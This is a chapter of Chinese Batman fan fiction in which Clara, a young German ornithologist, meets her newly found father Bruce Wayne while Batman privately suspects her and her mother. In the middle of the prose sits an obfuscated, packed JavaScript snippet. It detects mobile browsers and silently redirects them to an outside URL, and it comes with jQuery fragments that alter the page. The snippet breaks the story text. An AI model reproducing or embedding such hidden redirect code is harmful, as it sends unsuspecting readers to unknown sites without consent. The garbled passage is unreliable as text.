困。
有一点困。
克拉拉把房间里的速溶咖啡冲了，她在来哥谭的飞机上一直在睡，但是算算时间，现在又该睡觉了。
昨天晚上摄像机没有拍到什么。
但是见到蝙蝠侠就是最大的收获，虽然没有遇见蝙蝠侠共生的罗宾鸟。她还不知道哥谭大学里有谁研究翼手目，但是她觉得有必要把这条信息传达一下。
关电脑之前克拉拉看了一眼邮箱，劳拉·斯特莱克教授发邮件说她可以“在任何方便的时候来哥谭大学报道”，并且表示了对韦恩先生学术热情的感谢。
“真是见鬼。”
她喝下去最后一口速溶咖啡，出门，找到电梯，下楼，走出电梯厅。
最后一步是见到布鲁斯·韦恩。
他很年轻，很帅，身形挺拔，没有被无穷无尽的封面女郎掏空。
布鲁斯·韦恩坐在等候区的沙发上。
一圈沙发上只有一个人，不过，假如沙发上多几个人坐着，克拉拉觉得自己也能认出来，因为布鲁斯·韦恩一定是最气质最出众的。
光亮的茶几上放着一个长条形的盒子。
这大概就是韦恩先生给自己的见面礼了。
克拉拉·缺德站定不动。
布鲁斯·韦恩起身，然后，转身。
这就是这对父女的第一次会面。
一个已经成年了的有独立生活的女儿，一个年纪不大却儿女成群的父亲。
韦恩先生用他的蓝眼睛注视克拉拉，而克拉拉在他的眼睛里看到自己，就像她在每一个人的眼镜都看到自己一样。
“很高兴见到你，韦恩先生。”
克拉拉决心打破僵局。
她在韦恩酒店定了一周的房间，在原本的C计划当中，校外的公寓和校内的宿舍不管出了什么毛病，一周时间也足够自己找到新的住所了。
照目前这个情况来看，自己大概不用费心去想住处的问题了。
布鲁斯眨了眨眼睛。克拉拉没有学过美术，她没有太多关于蓝色的形容词，但是她觉得布鲁斯·韦恩的眼睛像大海。
很深很深的大海。
克拉拉在那片蓝色里看到了自己的倒影，一个小小的，疲惫的黑点，就像她在任何反光表面看到自己一样客观。
布鲁斯·韦恩：“我也很高兴认识你，我的孩子。”
克拉拉起了一身鸡皮疙瘩，她不太习惯有一个英俊富有并且是突然蹦出来的父亲。布鲁斯很好，他的脸漂亮得可以去当演员，但是克拉拉不喜欢这样的一个中年帅哥对自己温情脉脉地说“My girl”。
一切都很好。
但就是莫名其妙的诡异。
说实话，克拉拉不觉得在前二十年人生中没有父亲是什么缺憾，埃莱娜与克拉拉·缺德是一个很圆满的家庭。在过了21年后，再多一个亿万富豪的父亲，好像也不多余，而且对自己十分有利。
克拉拉：“叫我克拉拉吧，韦恩先生——你希望我这么称呼你？”
布鲁斯：“那么，请你也叫我布鲁斯。怎么样，克拉拉。”
她点点头：“我没有意见。”
刚才那个称呼让克拉拉想起母亲，而且恰巧是不太美妙的那一部分。她在某些时候相当严厉。
哥谭首富双手把茶几上的长条形盒子抱起来：“这是给你的一件礼物，克拉拉。”
到目前为止，克拉拉·缺德尚未发现身上的蝙蝠定位器，当她从身后走向自己的时候，布鲁斯从两个角度发现了她的存在。
他听到缺德轻不可闻的脚步声和同样极轻的呼吸声，也从手机上看到缺德离自己越来越近的信号。
克拉拉接过韦恩科技研发的望远镜，她不缺各种各样的望远镜，但是多一个总是没有坏处的。
因此，克拉拉很乐意接受这份礼物。
布鲁斯把声音放得很轻：“你能不能……如果你不介意的话，可以讲一讲你的生活吗？”
人人都爱的布鲁西宝贝垂着眼睛，睫毛投下的阴影和黑眼圈重叠在一起，像墨镜一样，都是很好的掩饰，简直让人看不出来他的眼神投在哪个地方。
蝙蝠侠可以看到克拉拉·缺德训练痕迹明显的肌肉。她只穿了一件短袖到酒店的一楼。
这不是一周去两三次健身房能锻炼出来的肌肉。而蝙蝠侠对此并不感到意外。
蝙蝠侠不对任何事情感到意外。
昨天夜里，克拉拉·缺德，合法的德国访问学者，在韦恩大厦顶层的滴水兽上蹲了四个小时。
虽然她是走消防楼梯登上的天台而非用钩爪枪飞上来的，可是蝙蝠侠清楚，这不是普通学者能有的体力。
而红罗宾搜集的信息证明了他的猜想……几乎证明了他的猜想。
蝙蝠侠不相信克拉拉·缺德，一个前东德间谍的女儿出现在哥谭，目标仅仅是观鸟。虽然她的确展现出来了学术上的野心，但是这种野心却让他联想到稻草人与毒藤女。
好吧，克拉拉·缺德没有读博士，她甚至连硕士学位都没有拿到。可是她现在只有21岁。看她的样子，25岁之前就会走到帕米拉·艾斯利博士的皮肤变绿前的那一步。
克拉拉在哥谭甜心的对面坐下了，从茶几上拿了一颗薄荷糖，很自然地剥开糖纸送进嘴里。
“我不太清楚你想要听什么，布鲁斯。”
她其实想抢先提问的，她想要知道关于蝙蝠侠和罗宾的一切，布鲁斯·韦恩显然知道这一切。
“什么都可以，克拉拉，你想说什么就说什么。”
蝙蝠侠换了一条与变声器截然不同的声线，是的，蝙蝠侠，他决定把自己看作蝙蝠侠而不是布鲁斯，与克拉拉有关系的人是蝙蝠侠，不是布鲁斯·韦恩。
布鲁斯是一个平平无奇的亿万富豪，没有值得一个东德特工想要的东西。
埃莱娜·缺德想要从他身上取得的东西，想必来自蝙蝠侠。
克拉拉吃了一颗薄荷糖，感觉没有那么困了。她没看出来布鲁斯的心理活动，只觉得他像蒙娜丽莎一样美丽和捉摸不透。
“上学，从幼儿园到小学，从小学到中学，17岁上大学，德国本科是三年制，所以我20岁的时候本科毕业，然后还是在维尔茨堡读硕士，研究方向是鸟类。”
克拉拉闭上眼睛，这样舒服多了。但是她赶快又睁开了。克拉拉希望自己在布鲁斯面前保持基本的礼貌，不想在聊天中睡着。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142537|180426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“看来你一直目标明确，并且为之努力。”布鲁斯的声音适时响起，带着恰到好处的赞许。他话锋一转，语气自然得像闲话家常，“不过，克拉拉，缺德这个姓氏，我似乎还在别处听到过。也许是很久以前了，抱歉，我记不太清细节。也许是你的某位亲戚？”
克拉拉吃了第二颗薄荷糖：“嗯……是关于体育方面的吗？埃莱娜以前是花滑运动员，后来她让我学了点体操，参加过几次比赛，但是我觉得不太合适，十五岁以后就专心学业了。”
克拉拉总结：“那时候我在准备申请大学。”
她的声音一点起伏都没有，像是一床平整的被子。
布鲁斯：“你看上去很累了。”
缺德不愿意提那一段经历。
蝙蝠侠敏锐地意识到这一点。尽管他和自己的观察对象一样困。此刻他应该在床上对阿福说再过五分钟就起床，不应该……好吧，对于蝙蝠侠来说，没有什么不应该的。
蝙蝠侠对哥谭负责。
布鲁斯的声音里带着一丝不易察觉的关切，也巧妙地避开了更深层的追问。
她回避了体操生涯的细节。
一个疑点重重的女儿，一个背景成谜的母亲，哥谭的阴影里容不下任何侥幸。
提姆在早上六点钟完成关于克拉拉·缺德的调查，不带任何主观感情地告诉布鲁斯，此人除了是他的生物学女儿以外没有任何可疑之处。
他的报告中提及了克拉拉曾经的每一场比赛，从五岁开始接受训练，到十五岁时退役，还有克拉拉的每一篇论文，从本科到硕士。
然后红罗宾睡了一个半小时，去上学了。
蝙蝠侠不需要睡觉，也不需要扮演普通高中生。
布鲁斯微微前倾，双手交叠放在膝上，这是一个更放松也更开放的姿态。
“克拉拉，”他的声音低沉而温和，带着一种不容忽视的真诚，“韦恩庄园随时欢迎你。阿尔弗雷德·潘尼沃斯先生——我的管家，他很希望能为你准备一顿像样的晚餐，而不是酒店里的速溶咖啡。”
他顿了顿，目光落在她怀中的望远镜盒子上：“而且，你可能会喜欢庄园的花园。”
“晚餐，”她重复着这个词，薄荷糖的清冽还在舌尖萦绕，“听起来比速溶咖啡好很多。至于花园，我想一定也很美妙。”
克拉拉觉得自己的脑子快不动了。
她的英语很好，但是这个时候还要想办法用一门外语遣词造句让克拉拉觉得头疼。
“晚上七点怎么样？”
克拉拉：“晚上七点好极了。是今天吗？”
头因为缺乏睡眠很疼，她觉得自己喝了太多的咖啡，心在胸腔里砰砰跳。克拉拉清楚是因为缺觉，不是因为布鲁斯。
布鲁斯：“是的，今天晚上七点，我想，你需要在白天休息一下，克拉拉。”
克拉拉：“今天晚上七点去韦恩庄园？请问着装上有什么要求吗？会有谁在？”
布鲁斯：“提姆和达米安都会在的——迪克，就是理查德在布鲁德海文工作，我想他会在一个周末来见你，杰森……我会通知他，但是他和迪克一样，是一个有独立生活的人，我不确定他是否会来。”